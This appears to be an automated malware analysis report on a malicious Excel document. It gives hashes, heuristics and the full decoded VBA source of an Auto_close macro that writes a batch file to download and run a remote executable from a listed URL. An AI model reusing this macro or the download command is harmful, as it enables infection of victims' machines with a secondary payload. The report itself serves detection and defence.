Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bbbea879cfc59aa1…

MALICIOUS

Office (OOXML)

353.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-24
MD5: 71d97b8184124ec4c0efdd90fcc75ad4 SHA-1: 154a7c84ce2f24fa8e91beb5a0c807d0e12788e0 SHA-256: bbbea879cfc59aa1ad2ba1654a6efb094dce58a2b6599620814d83ac995848ee
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically an Auto_close macro that executes a batch file. This batch file, named '77.bat', is designed to launch a downloaded executable from the URL 'https://dropmb.com/files/617906c767af169378f019c09f9e14b8.exe' using Chrome with a no-startup-window flag. The presence of the Auto_close macro and the Shell() call strongly indicate malicious intent to download and execute a secondary payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://dropmb.com/files/617906c767af169378f019c09f9e14b8.exe` In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1023 bytes
SHA-256: b9f27d9e4337daeb85729c6103d1371e45c452d761aba1aae2de68c79ddc18d5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

 Sub Auto_close()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = "  start chrome  `https://dropmb.com/files/617906c767af169378f019c09f9e14b8.exe` --no-startup-window "
ActiveWorkbook.Save
batch = "77.bat"
Open batch For Output As #1
    Print #1, s
    Close #1
    i = Shell(batch, 0)
 
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 7e34a516de8b00796cfef2123d87738cb9f34dbe317264c54b7c607181fe0c32

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